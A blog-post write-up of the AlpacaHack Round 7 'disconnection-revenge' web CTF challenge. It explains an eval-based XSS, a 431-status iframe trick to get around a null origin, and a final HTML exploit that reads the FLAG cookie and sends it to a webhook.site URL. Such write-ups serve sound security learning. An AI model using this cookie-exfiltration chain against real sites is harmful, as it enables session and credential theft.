Skip to content

Back to all posts

Bypassing null Origin in 4xx Status Code Using Iframe | disconnection-revenge Writeup | AlpacaHack Round 7 (Web)

Unfortunately, I solved this challenge only 30 minutes after the CTF ended. Here is my write-up about the challenge.This is a fixed challenge of disconnection.In this challenge, we are given source co...

D

Dimas Maulana

3 min read

5 categories

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Bypassing null Origin in 4xx Status Code Using Iframe | disconnection-revenge Writeup | AlpacaHack Round 7 (Web)

Unfortunately, I solved this challenge only 30 minutes after the CTF ended. Here is my write-up about the challenge.

Image
Image

Description

This is a fixed challenge of disconnection.

Exploit

In this challenge, we are given source code like this:

import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .all("/*", (req, res) => res.socket.destroy()) // disconnected
  .use((err, req, res, next) => {
    // revenge!
    res.socket.destroy(); // disconnected
  })
  .listen(3000);

The interesting part about this source code is in the Content Security Policy (CSP):

res.setHeader(
  "Content-Security-Policy",
  "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);

The disconnect mechanism:

.all("/*", (req, res) => res.socket.destroy()) // disconnected
.use((err, req, res, next) => {
  // revenge!
  res.socket.destroy(); // disconnected
})

There's also a code injection vulnerability here that allows us to gain XSS:

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

The flag is located in the /cookie path, as shown in this snippet of the source code:

await page.setCookie({
  name: "FLAG",
  value: FLAG,
  domain: APP_HOST,
  path: "/cookie", // 🍪
});

The interesting part is that we can't get the flag easily by accessing /cookie directly using XSS and get the cookie from that. The disconnect mechanism causes us to be instantly disconnected when accessing any URL except /, resulting in a browser error. Therefore, when we try to access URLs like /cookie, the browser will instantly error ERR_EMPTY_RESPONSE, and the origin will be null as shown in the image below.

Image

There’s a trick introduced in a previous Google CTF to bypass this issue, as detailed in this Google CTF solution. The trick involves adding an arbitrarily large number of characters into the parameters to make the server return 431 (Request Header Fields Too Large). However, simply adding a large number of characters to the parameters won't work, as shown in the image below, where the origin is still null.

Image

The key is to iframe the 431 page, which somehow makes the origin become the original origin instead of null, as shown in the image below.

Image

But… there’s always a problem after problem. The cookie isn’t included in the iframe because the cookie isn’t set to SameSite=None, so it’s not included in the iframe in a different origin.

Image

I just found a strange trick after trying to open a new opener inside the /cookie path here:

Image

When I try to open(""), it will have an origin, and the location is about:blank. There’s also the flag that should be in the /cookie path. I assume that the window we open is somehow in the /cookie path, but with the about:blank location. I don't know why this happens 💀. But here is my final exploit:

<html>
    <body>
        <iframe></iframe>
        <iframe></iframe>
        <script>
            async function main(){
                const target = "disconnection-revenge"
                const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
                var iframe = document.getElementsByTagName('iframe')[0];
                iframe.src = "http://"+target+":3000/cookie/?"+"A".repeat(100000);
                await sleep(1000);
                var iframe2 = document.getElementsByTagName('iframe')[1];
                iframe2.src = "http://"+target+":3000/?xss="+"w = top.frames[0].open('');setTimeout(()=>{open(`https://webhook.site/37fa4a4c-9842-42db-9431-a15d81aee4a0?${w.document.cookie}`)},1000)";
                await sleep(1000);
            }
            main();
        </script>
    </body>
</html>
Image

Categories & Topics

This article is categorized under the following topics. Click on any category to explore more related content.

Share this post

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.